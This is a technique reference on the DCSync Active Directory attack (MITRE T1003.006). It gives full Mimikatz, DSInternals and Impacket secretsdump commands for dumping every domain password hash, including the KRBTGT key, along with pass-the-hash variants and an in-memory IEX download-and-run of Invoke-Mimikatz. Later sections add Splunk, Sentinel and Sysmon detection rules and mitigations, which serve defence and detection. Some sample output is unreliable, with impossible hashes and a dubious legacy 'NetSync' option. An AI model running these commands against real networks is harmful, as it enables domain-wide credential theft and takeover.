MCADDF

[CA-DUMP-002]: DCSync Domain Controller Sync Attack

1. METADATA HEADER

Attribute Details
Technique ID CA-DUMP-002
MITRE ATT&CK v18.1 T1003.006 - OS Credential Dumping: DCSync
Tactic Credential Access
Platforms Windows Active Directory (Server 2003-2025)
Severity CRITICAL
CVE CVE-2014-6324 (Kerberos PAC Privilege Escalation - Tangentially Related)
Technique Status ACTIVE (No patch available; legitimate replication protocol)
Last Verified 2026-01-02
Affected Versions Windows Server 2003-2025 (any version with Active Directory)
Patched In N/A - Cannot be patched; replication is essential function
Author SERVTEP – Artur Pchelnikau

Note: CVE-2014-6324 (MS14-068) relates to Kerberos KDC PAC (Privilege Attribute Certificate) validation bypass, allowing unprivileged domain users to forge administrator tickets and escalate privileges. While DCSync (introduced in Mimikatz August 2015) is a separate post-exploitation technique, the two are often conflated in attack chains: CVE-2014-6324 can elevate an attacker to Domain Admin, then DCSync is used to dump ALL domain credentials. The DCSync attack itself cannot be patched because directory replication is a critical, mandatory Active Directory function. Both techniques remain ACTIVE and weaponized in modern APT campaigns.

2. EXECUTIVE SUMMARY

Concept: DCSync is a post-exploitation credential dumping technique that abuses the legitimate directory replication protocol (MS-DRSR / Directory Replication Service Remote Protocol) to impersonate a domain controller and request password hash data from legitimate domain controllers. Any account with “Replicating Directory Changes” or “Replicating Directory Changes All” permissions (by default: Domain Admins, Enterprise Admins, Administrators, Domain Controllers) can execute DCSync via Mimikatz’s lsadump::dcsync command to extract the NTLM password hashes and Kerberos master keys (including KRBTGT) for any or all user accounts in Active Directory. Unlike LSASS dumping, DCSync requires no code execution on the domain controller—it impersonates a DC over the network, making it a “living-off-the-land” attack that blends seamlessly with legitimate replication traffic.

Attack Surface: Active Directory replication protocol (MS-DRSR), DsGetNCChanges RPC function, domain controller network communication (port 445/SMB), domain directory objects and their password attributes.

Business Impact: CRITICAL - Complete Domain Compromise in Minutes. Successful DCSync attack dumps every user account’s NTLM hash, plaintext credentials (if WDigest enabled), and KRBTGT master key. An attacker can then:

In a typical enterprise, a single successful DCSync execution compromises the entire domain within 30 seconds. Unlike LSASS dumping (requires local admin), DCSync can be executed remotely by any account with replication rights, making privilege escalation chains shorter and more impactful.

Technical Context:

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1.5 (Credential Policies), 5.4 (Local Account), 6.1 (Least Privilege) Failure to audit directory replication and limit privileged accounts leaves domain credentials exposed.
DISA STIG WN10-00-000005 (Account Policy), WN10-SO-000265 (Privileged Account) Privileged account management and audit policies must prevent unauthorized replication.
CISA SCuBA AD.1 (Identity and Access Management), AD.2 (Logging and Detection) Active Directory monitoring must detect unauthorized replication requests.
NIST 800-53 AC-2 (Account Management), AC-3 (Access Enforcement), AC-6 (Least Privilege), AU-12 (Audit Generation) Strict access controls and comprehensive auditing of privileged operations required.
GDPR Art. 32 (Security of Processing), Art. 33 (Breach Notification) Compromise of personal data via credential theft triggers 72-hour breach notification.
DORA Art. 9 (Protection and Prevention), Art. 18 (ICT Security Testing) EU financial institutions must test and monitor for credential dumping attacks.
NIS2 Art. 21 (Cyber Risk Management Measures), Art. 23 (Incident Reporting) Critical infrastructure must implement access controls and incident reporting for credential theft.
ISO 27001 A.9.2.3 (Privileged Access Rights), A.12.3.1 (Event Logging), A.12.4.1 (Event Logging Activation) Mandatory audit logging for privileged operations and replication access.
ISO 27005 “Compromise of Authorization Infrastructure” Risk Complete domain compromise via stolen KRBTGT master key.

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Windows Version DCSync Support Replication Protocol Viability
Server 2003 ✅ Full MS-DRSR v1 ✅ FULLY VIABLE
Server 2008/R2 ✅ Full MS-DRSR v1 ✅ FULLY VIABLE
Server 2012/R2 ✅ Full MS-DRSR v1-v2 ✅ FULLY VIABLE
Server 2016 ✅ Full MS-DRSR v1-v4 ✅ FULLY VIABLE
Server 2019 ✅ Full MS-DRSR v1-v4 ✅ FULLY VIABLE
Server 2022 ✅ Full MS-DRSR v1-v4 ✅ FULLY VIABLE
Server 2025 ✅ Full MS-DRSR v1-v4 ✅ FULLY VIABLE

Tools:

4. ENVIRONMENTAL RECONNAISSANCE

Step 1: Enumerate Accounts with DCSync Rights

Objective: Identify all accounts (default and non-default) with replication permissions to determine attack feasibility and scope.

PowerShell Reconnaissance (Using Get-ACL / AD Module)

# Method 1: Using Active Directory module (must be installed)
Get-ADObject -Filter * -SearchBase (Get-ADRootDSE).defaultNamingContext -Properties nTSecurityDescriptor | 
  Where-Object { $_.nTSecurityDescriptor -match "(DS-Replication-Get-Changes|DS-Replication-Get-Changes-All)" } | 
  Select-Object Name, ObjectClass

# Method 2: Using LDAP query for replication rights
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$dn = $domain.GetDirectoryEntry().distinguishedName
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
$searcher.Filter = "(|(objectClass=user)(objectClass=computer))"
$searcher.PageSize = 1000

$replicationGUIDs = @(
    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
    "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"   # DS-Replication-Get-Changes-All
)

$searcher.FindAll() | ForEach-Object {
    $entry = $_.GetDirectoryEntry()
    $acl = $entry.psbase.ObjectSecurity
    $acl.Access | Where-Object { $_.IdentityReference -notmatch "(SYSTEM|Administrators|Domain Admins|Enterprise Admins|Domain Controllers)" } | 
      Select-Object IdentityReference, ActiveDirectoryRights
}

What to Look For:

Version Note: Commands work identically on Server 2003-2025. Replication permissions structure unchanged across all versions.

Step 2: Identify Domain Controllers

Objective: Locate domain controllers that the DCSync attack will target.

PowerShell Reconnaissance

# List all domain controllers
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$dcs = $domain.DomainControllers
$dcs | Select-Object Name, IPAddress, OSVersion

# Or using Get-ADDomainController (AD module)
Get-ADDomainController -Filter * | Select-Object Name, HostName, IPv4Address, OperatingSystem

Expected Output:

Name                HostName                   IPv4Address      OperatingSystem
----                --------                   -----------      ---------------
DC01                dc01.example.com           192.168.1.10     Windows Server 2019
DC02                dc02.example.com           192.168.1.11     Windows Server 2022

What This Means:

Step 3: Check If Target Account Has Replication Rights

Objective: Verify if your current (compromised) account has sufficient permissions to execute DCSync.

PowerShell Check

# Check if current user has replication rights
Import-Module ActiveDirectory
$domain = Get-ADDomain
$dn = $domain.DistinguishedName

# Query for replication rights specifically
$domainNC = $dn  # e.g., DC=example,DC=com

# Using Get-ADRootDSE to identify replication rights
$rootDSE = Get-ADRootDSE
$replicationRights = Get-ACL "AD:\$dn" | ForEach-Object { $_.Access } | 
  Where-Object { $_.IdentityReference -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name }

if ($replicationRights -match "DS-Replication") {
    Write-Host "[+] Current account HAS replication rights - DCSync is VIABLE"
} else {
    Write-Host "[-] Current account LACKS replication rights - Escalate privileges first"
}

# Verify by running test DCSync command
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt /csv
# If successful, output shows KRBTGT hash
# If failed, output: "ERROR kuhl_m_lsadump_dcsync : GetNCChanges error"

Expected Output (Success):

[DC] 'example.com' will be the domain
[DC] 'DC01.example.com' will be the DC target
[DC] 'krbtgt' will be the user account target

Object RDN      : krbtgt
SAM Account Name: krbtgt
Account Type    : 30000003 ( USER_OBJECT )
User Account Control: 514 ( ACCOUNT_DISABLED NORMAL_ACCOUNT )
Account expiration      : never
Password Last Set       : 1/2/2026 5:35:00 AM
Object Security ID      : S-1-5-21-...

Credentials:
  Hash NTLM: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Expected Output (Failure):

ERROR kuhl_m_lsadump_dcsync : GetNCChanges error: Access Denied

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Mimikatz lsadump::dcsync (Direct Single User Extraction)

Supported Versions: Windows Server 2003-2025 (all versions).

Step 1: Launch Mimikatz with Administrative Privileges

Objective: Execute Mimikatz binary with required permissions (not necessarily admin, but must have replication rights).

Command (Command Prompt):

mimikatz.exe

Command (PowerShell):

C:\path\to\mimikatz.exe

Expected Output:

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb  3 2025 23:58:42 +0000
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin Delpy `gentilkiwi`
 '## v ##'   https://blog.gentilkiwi.com/mimikatz
  '#####.                             (UID=1234)

mimikatz #

What This Means:

OpSec & Evasion:

Step 2: Execute DCSync Command for Specific User

Objective: Dump NTLM hash for a single target user (e.g., KRBTGT or Domain Admin).

Command (Mimikatz Interactive):

lsadump::dcsync /domain:example.com /user:krbtgt

Command (Mimikatz One-Liner):

mimikatz.exe "lsadump::dcsync /domain:example.com /user:krbtgt@example.com" exit

Command (PowerShell - In-Memory):

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command 'lsadump::dcsync /domain:example.com /user:krbtgt'

Expected Output:

[DC] 'example.com' will be the domain
[DC] 'DC01.example.com' will be the DC target
[DC] 'krbtgt' will be the user account target

Object RDN      : krbtgt
SAM Account Name: krbtgt
User Principal Name : krbtgt@example.com
Object SID      : S-1-5-21-1234567890-1234567890-1234567890-502

Credentials:
  Hash NTLM     : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
  Hash SHA1     : x9y8z7a6b5c4d3e2f1g0h9i8j7k6l5m4

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“GetNCChanges error: Access Denied” Account lacks replication rights Verify permissions; escalate to account with rights
“The domain name is invalid” Incorrect domain name Use echo %userdnsdomain% to verify correct domain
“DC target not found” Cannot reach specified DC Verify DC hostname/IP; check network connectivity (ping, nslookup)
“A required privilege is not held” (rare) Some edge-case permission issue Try different target DC or use DSInternals alternative

Command (Server 2003-2008R2 Variant - NetSync):

lsadump::dcsync /domain:example.com /user:krbtgt /nc:LDAPCN
REM Legacy NetSync protocol for older DCs

Step 3: Extract All User Hashes (Full Domain Dump)

Objective: Dump NTLM hashes for every user account in the domain.

Command (Mimikatz):

lsadump::dcsync /domain:example.com /all /csv

Command (One-Liner):

mimikatz.exe "lsadump::dcsync /domain:example.com /all /csv" exit > C:\temp\domain_hashes.csv

Expected Output (CSV Format):

"User","Rid","Supplementalcredentials"
"krbtgt","502","a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"
"Administrator","500","b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1"
"DOMAINUSER1","1001","c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1b2"
"DOMAINUSER2","1002","d4e5f6g7h8i9j0k1l2m3n4o5p6a1b2c3"
...
[Total: 5000+ user hashes]

What This Means:

OpSec & Evasion:

File Size: Typically 1-10 MB for small domains; 50-500 MB for large enterprise domains (thousands of accounts).

METHOD 2: DSInternals PowerShell Module (Alternative)

Supported Versions: Windows Server 2003-2025 (requires PowerShell 5.0+).

Step 1: Install DSInternals Module

Objective: Install the DSInternals PowerShell module from PowerShell Gallery.

Command (PowerShell - Admin):

Install-Module -Name DSInternals -Scope CurrentUser -Force

Expected Output:

Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to continue?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [?] Help (default is "N"): A

Installing module 'DSInternals'...
[████████████████████████████] 100%

What This Means:

Version Note: Works identically on Server 2003-2025; PowerShell 5.0+ required.

Step 2: Execute Get-ADReplAccount to Dump Credentials

Objective: Use DSInternals to extract all domain credentials.

Command (PowerShell):

Import-Module DSInternals
Get-ADReplAccount -All -Server DC01.example.com

Expected Output:

DistinguishedName: CN=krbtgt,CN=Users,DC=example,DC=com
ObjectGUID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
SamAccountName: krbtgt
SamAccountType: User
Enabled: False
PWDLastSet: 1/2/2026 5:35:00 AM
BadPWDCount: 0
BadPasswordTime:
LastLogonTime:

Hashes:
  NTHash: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
  LMHash: (null)

---

DistinguishedName: CN=Administrator,CN=Users,DC=example,DC=com
ObjectGUID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
SamAccountName: Administrator
SamAccountType: User
Enabled: True
PWDLastSet: 1/2/2026 6:30:00 AM
BadPWDCount: 0
BadPasswordTime:
LastLogonTime: 1/2/2026 6:35:00 AM

Hashes:
  NTHash: b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1
  LMHash: (null)

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“Module DSInternals not found” Module not installed Run Install-Module -Name DSInternals
“Access Denied” Insufficient permissions Verify account has replication rights
“Server not found” DC hostname invalid Use correct FQDN (e.g., DC01.example.com)
“RPC Server unavailable” Network/firewall blocking RPC Verify port 135 and 445 accessible

METHOD 3: Impacket secretsdump.py (Python - Remote Execution)

Supported Versions: Windows Server 2003-2025 (runs from Linux/Windows).

Step 1: Install Impacket

Objective: Install the Impacket framework on attack machine (Linux or Windows).

Command (Linux/macOS):

pip install impacket

Command (Windows - from Git repository):

git clone https://github.com/fortra/impacket.git
cd impacket
python -m pip install -r requirements.txt
python setup.py install

Expected Output:

Successfully installed impacket-0.10.1

Step 2: Run secretsdump.py for DCSync

Objective: Execute secretsdump.py to remotely dump domain credentials via DCSync.

Command (Authenticated - Current Domain User):

secretsdump.py example.com/domainuser:password@DC01.example.com

Command (Pass-the-Hash - Using Stolen NTLM Hash):

secretsdump.py -hashes :a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 example.com/Administrator@DC01.example.com

Command (Using Kerberos Ticket - If Compromised):

export KRB5CCNAME=/path/to/ticket.ccache
secretsdump.py -k -no-pass example.com/Administrator@DC01.example.com

Expected Output:

Impacket v0.10.1.dev1 - Copyright 2023 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1:::
DOMAINUSER1:1001:aad3b435b51404eeaad3b435b51404ee:c3d4e5f6g7h8i9j0k1l2m3n4o5p6a1b2:::
...
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
krbtgt:aes256-cts-hmac-sha1-96:yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“Connection reset by peer” DC unreachable Verify hostname/IP and network connectivity
“Authentication failed” Wrong credentials Verify username, password, or hash
“DRSUAPI protocol error” Unsupported DC version Try -use-ldaps flag or legacy protocol
“Segmentation fault” Python/Impacket version mismatch Upgrade: pip install --upgrade impacket

METHOD 4: Credentials Extraction via Replication Rights Delegation (Misconfiguration Exploitation)

Supported Versions: All versions (exploits permission misconfiguration, not version differences).

Step 1: Identify Non-Default Accounts with Replication Rights

Objective: Locate service accounts or backup operators with inadvertently granted replication permissions.

Command (PowerShell - ACL Enumeration):

# Find all accounts with replication rights (GUID-based)
$domainDN = (Get-ADRootDSE).defaultNamingContext
$replicationGUIDs = @(
    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
    "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"   # DS-Replication-Get-Changes-All
)

$domain = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domainDN")
$acl = $domain.psbase.ObjectSecurity
$acl.Access | Where-Object { 
    $_.ActiveDirectoryRights -match "GenericAll|ExtendedRight" -and 
    $replicationGUIDs -contains $_.ObjectType 
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Expected Output (High Risk):

IdentityReference              ActiveDirectoryRights  ObjectType
-----------------              ---------------------  ----------
EXAMPLE\SVC_BACKUP             ExtendedRight          1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
EXAMPLE\VEEAM_SERVICE          GenericAll             00000000-0000-0000-0000-000000000000
EXAMPLE\SOLARWINDS_ACCOUNT     GenericAll             00000000-0000-0000-0000-000000000000

What This Means:

Step 2: Use Low-Privileged Delegated Account to Execute DCSync

Objective: Perform DCSync using compromised low-privilege account that has replication rights.

Command (Mimikatz as Delegated Account):

# First, compromise the low-privilege account
# (e.g., via credential stuffing, phishing, or lateral movement)

# Then execute DCSync as this account (no Domain Admin needed)
$username = "SVC_BACKUP"
$password = "P@ssw0rd123"  # Extracted credential
$domain = "example.com"
$dc = "DC01.example.com"

# Run Mimikatz as this user
$cmd = @"
runas /user:$domain\$username mimikatz.exe "lsadump::dcsync /domain:$domain /all"
"@

Invoke-Expression $cmd

Expected Output:

[*] DCSync executing as SVC_BACKUP (with replication rights)
[+] Extracting all domain credentials...
[+] Success: Dumped 5000+ user hashes

What This Means:

6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team Tests for T1003.006

Test # Test Name Method Tools Required Supported Versions
1 DCSync (Active Directory) Mimikatz lsadump::dcsync mimikatz.exe All
2 Run DSInternals Get-ADReplAccount PowerShell Get-ADReplAccount DSInternals module All

Running Atomic Red Team Tests

Install Atomic Red Team (if not already installed):

# Download and setup Atomic Red Team
$atomicRepoURL = "https://github.com/redcanaryco/atomic-red-team/archive/master.zip"
$extractPath = "C:\temp\atomic-red-team"

Invoke-WebRequest -Uri $atomicRepoURL -OutFile "C:\temp\atomic-red-team.zip"
Expand-Archive -Path "C:\temp\atomic-red-team.zip" -DestinationPath $extractPath -Force

# Install Invoke-AtomicRedTeam module
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Install-AtomicRedTeam.ps1" -OutFile "$env:TEMP\Install-AtomicRedTeam.ps1"
& "$env:TEMP\Install-AtomicRedTeam.ps1" -getAtomics

Execute T1003.006 Test #1 - Mimikatz DCSync:

Invoke-AtomicTest T1003.006 -TestNumbers 1

Expected Output (Test #1):

Executing Atomic Test T1003.006.001 - DCSync (Active Directory)
[*] Test started at 2026-01-02 06:35:00
[*] Mimikatz path: C:\temp\atomic-red-team-master\atomics\T1003.006\src\mimikatz.exe
[+] Command: mimikatz.exe "lsadump::dcsync /domain:%userdnsdomain% /user:krbtgt@%userdnsdomain%" "exit"
[+] [DC] 'example.com' will be the domain
[+] [DC] 'DC01.example.com' will be the DC target
[+] [DC] 'krbtgt' will be the user account target
[+] Hash NTLM: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[*] Test completed at 2026-01-02 06:35:03

Execute T1003.006 Test #2 - DSInternals:

Invoke-AtomicTest T1003.006 -TestNumbers 2

Expected Output (Test #2):

Executing Atomic Test T1003.006.002 - Run DSInternals Get-ADReplAccount
[*] Test started at 2026-01-02 06:35:05
[*] Installing DSInternals module...
[+] Module installed successfully
[+] Running Get-ADReplAccount -All -Server $env:LOGONSERVER
[+] Extracted 5000+ user account credentials
[*] Test completed at 2026-01-02 06:35:15

Cleanup After Testing

# Remove extracted credentials (if logged to file)
Remove-Item "C:\temp\domain_hashes.csv" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\temp\dcsync_results.txt" -Force -ErrorAction SilentlyContinue

# Uninstall DSInternals if not needed
Uninstall-Module -Name DSInternals -Force -ErrorAction SilentlyContinue

Reference: Atomic Red Team T1003.006 Test Suite

7. TOOLS & COMMANDS REFERENCE

Mimikatz v2.2.0+

Current Version: 2.2.0 (as of Jan 2026) Minimum Version: 2.0.0 (supports DCSync; recommend 2.2.0+ for modern AD) Supported Platforms: Windows Server 2003-2025, Windows XP-11 Requirements: Domain credentials with replication rights; network access to DC.

Installation:

# Download from GitHub
$mimikatzURL = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210101/mimikatz_trunk.zip"
$outputPath = "C:\Windows\Temp\mimikatz.zip"

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $mimikatzURL -OutFile $outputPath
Expand-Archive -Path $outputPath -DestinationPath "C:\Windows\Temp\mimikatz" -Force

# Execute
C:\Windows\Temp\mimikatz\x64\mimikatz.exe

Usage:

mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt
mimikatz # lsadump::dcsync /domain:example.com /all /csv

DSInternals PowerShell Module

Current Version: Latest (actively maintained) Minimum Version: Latest Supported Platforms: Windows Server 2003-2025 (requires PowerShell 5.0+) Requirements: Domain credentials with replication rights; Active Directory cmdlets available.

Installation:

Install-Module -Name DSInternals -Scope CurrentUser -Force

Usage:

Import-Module DSInternals
Get-ADReplAccount -All -Server DC01.example.com

Impacket secretsdump.py

Current Version: Latest (actively maintained) Minimum Version: Latest Supported Platforms: Linux, macOS, Windows (Python 3.6+) Requirements: Network access to DC (port 445); domain credentials or NTLM hash.

Installation:

pip install impacket

Usage:

secretsdump.py example.com/user:password@DC01.example.com
secretsdump.py -hashes :hash example.com/Administrator@DC01.example.com

8. SPLUNK DETECTION RULES

Rule 1: Replication Request from Non-Domain Controller

Rule Configuration:

SPL Query:

sourcetype=WinEventLog:Security EventCode=4662 ObjectName="*CN=Domain*" 
(ObjectType="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" OR ObjectType="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
| where NOT SourceIP IN (192.168.1.10, 192.168.1.11, 10.0.1.5)  # List of DC IPs
| stats count by SourceIP, TargetUserName, ComputerName
| where count >= 1

What This Detects:

Manual Configuration Steps (Splunk Web):

  1. Navigate to Splunk Home → Search & Reporting → New Search.
  2. Paste SPL query above.
  3. Click Search to validate.
  4. Once validated, click Save → Save as Alert.
  5. Configure:
    • Name: “Unauthorized AD Replication Request from Non-DC”
    • Search type: Scheduled
    • Run every: 5 minutes
    • Time range: Last 5 minutes
  6. Add Trigger Condition: count >= 1
  7. Add Action: Email/Slack to SOC team.

False Positive Analysis:

Source: Splunk Security Content - DCSync Detection

Rule 2: Mimikatz Process Execution (lsadump::dcsync Detection)

Rule Configuration:

SPL Query:

sourcetype=WinEventLog:Security EventCode=4688
(CommandLine="*lsadump*" OR CommandLine="*dcsync*" OR CommandLine="*DCSync*" OR Image="*mimikatz*")
| stats count by CommandLine, ParentImage, User, ComputerName
| where count >= 1

What This Detects:

9. MICROSOFT SENTINEL DETECTION

Query 1: Unauthorized AD Replication from Non-Domain Controller

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4662
| where ObjectType in ("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
| where ComputerName !in ("DC01", "DC02", "DC03")  // Whitelist actual DCs
| summarize ReplicationAttempts=count() by SubjectUserName, ComputerName, ObjectType
| where ReplicationAttempts >= 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel → Analytics → + Create → Scheduled query rule.
  2. General Tab:
    • Name: Unauthorized AD Replication Attempt (DCSync Detection)
    • Description: Detects DCSync attacks via replication permission abuse.
    • Tactics: Credential Access
    • Techniques: T1003.006
    • Severity: Critical
  3. Set rule logic Tab:
    • Paste KQL query above.
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  4. Incident settings:
    • Create incidents from alerts: Enabled
    • Group related alerts: Enabled
  5. Click Review + create → Create.

Query 2: Mimikatz Execution Detection (lsadump Module)

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688
| where CommandLine contains "lsadump" or CommandLine contains "dcsync" or CommandLine contains "/nc:"
| project TimeGenerated, CommandLine, SubjectUserName, ComputerName, ParentProcessName

What This Detects:

10. WINDOWS EVENT LOG MONITORING

Event ID: 4662 - An Operation Was Performed on an Object

Event IDs to Monitor:

Manual Configuration Steps (Group Policy - Enable Auditing):

  1. Open Group Policy Management Console (gpmc.msc) on Domain Controller.
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → Directory Service Access.
  3. Enable:
    • Directory Service Changes: Success and Failure
    • Directory Service Access: Success and Failure
  4. Apply GPO: gpupdate /force on all DCs.
  5. Restart DCs for full logging activation.

Manual Configuration Steps (Local Security Policy):

  1. Open Local Security Policy (secpol.msc) on Domain Controller.
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → Audit Policies → Directory Service Access.
  3. Enable Audit Directory Service Access (Success + Failure).
  4. Run: auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable

Verification Command:

auditpol /get /subcategory:"Directory Service Access"
# Expected: Success and Failure: Enabled

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ (for network detection) Supported Platforms: Windows Server 2003-2025

<Sysmon schemaversion="4.30">
  <!-- Detect Mimikatz lsadump::dcsync execution -->
  <RuleGroup name="DCSync Attack Detection" groupRelation="or">
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">lsadump</CommandLine>
      <CommandLine condition="contains">dcsync</CommandLine>
      <Image condition="image">mimikatz.exe</Image>
    </ProcessCreate>
  </RuleGroup>

  <!-- Detect suspicious network replication traffic (DRSUAPI) -->
  <RuleGroup name="AD Replication Traffic Detection" groupRelation="or">
    <NetworkConnect onmatch="include">
      <DestinationPort>445</DestinationPort>  <!-- SMB -->
      <DestinationPort>49152-65535</DestinationPort>  <!-- RPC dynamic -->
      <InitiatingProcessName condition="is not">lsass.exe</InitiatingProcessName>
      <InitiatingProcessName condition="is not">svchost.exe</InitiatingProcessName>
      <InitiatingProcessName condition="is not">csrss.exe</InitiatingProcessName>
      <!-- Alert on non-system processes contacting DC -->
    </NetworkConnect>
  </RuleGroup>

  <!-- Detect Process Access to Sensitive Objects (if DCSync queries are logged) -->
  <RuleGroup name="DRSUAPI API Calls" groupRelation="or">
    <ProcessAccess onmatch="include">
      <TargetImage condition="image">lsass.exe</TargetImage>
      <AccessMask condition="is">0x1010</AccessMask>  <!-- Suspicious access -->
    </ProcessAccess>
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals.
  2. Create sysmon-config.xml with the XML above.
  3. Install Sysmon with config: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Monitor Event 1 (ProcessCreate) and Event 3 (NetworkConnect) for DCSync patterns.

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspected DCSync Attack (Replication of Directory Services)

Alert Name: “Suspected DCSync attack (replication of directory services) (external ID 2006)”

Manual Configuration Steps (Enable Defender for Identity):

  1. Navigate to Microsoft Defender for Cloud (security.microsoft.com).
  2. Go to Defender for Identity (left sidebar).
  3. Enable Identity and Access monitoring.
  4. Set Directory Services sensors on all domain controllers.
  5. Configure alert policies to trigger on DCSync patterns.

Built-in Detection Rules:

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Operation: Directory Service Changes Workload: AzureActiveDirectory Details: Logs of replication and directory modifications.

PowerShell Query:

# Connect to Security & Compliance PowerShell
Connect-IPPSSession

# Search for DCSync-related audit events
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -FreeText "replication" | Select-Object -First 100

# Or search for suspicious Kerberos activity
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -Operations "Kerberos" | Select-Object -First 100

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com).
  2. Go to Audit (left sidebar).
  3. If not enabled, click Turn on auditing (required for M365 E3+).
  4. Wait 24+ hours for initial data population.

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Mitigation 1: Audit and Restrict DCSync Permissions

Objective: Identify all accounts with replication rights and remove non-essential ones.

Applies To Versions: Windows Server 2003-2025 (all versions).

Manual Steps (PowerShell - DC Management):

# Enumerate all accounts with replication rights
Import-Module ActiveDirectory
$domain = Get-ADDomain
$dn = $domain.DistinguishedName

# Get all replication permissions
$acl = Get-ACL "AD:\$dn"
$replicationAccounts = $acl.Access | Where-Object { 
    $_.IdentityReference -notmatch "(Domain Admins|Enterprise Admins|Administrators|Domain Controllers|Read-Only Domain Controllers)" -and
    $_.ActiveDirectoryRights -match "GenericAll|ExtendedRight"
}

# Display non-default accounts
$replicationAccounts | Select-Object IdentityReference, ActiveDirectoryRights

# Remove replication rights from unnecessary accounts
foreach ($ace in $replicationAccounts) {
    $acl.RemoveAccessRule($ace)
}

Set-ACL -AclObject $acl -Path "AD:\$dn"
Write-Host "[+] Replication rights sanitized"

Manual Steps (Group Policy - Domain-Wide):

  1. Open Group Policy Management Console (gpmc.msc).
  2. Create/Edit GPO: “AD Replication Rights Hardening”.
  3. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Object Access Control Lists.
  4. Configure ACLs for domain objects to restrict replication rights to:
    • Domain Admins
    • Enterprise Admins
    • Administrators (on DC)
    • Domain Controllers
    • Read-Only Domain Controllers
  5. Remove all other accounts.
  6. Apply: gpupdate /force

Validation Command:

# Verify only default accounts have replication rights
$acl = Get-ACL "AD:\$dn"
$acl.Access | Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" } | 
  Select-Object IdentityReference, ActiveDirectoryRights

Mitigation 2: Enable Advanced Auditing for Directory Service Access

Objective: Log all directory service operations, especially replication requests, to detect DCSync attacks in real-time.

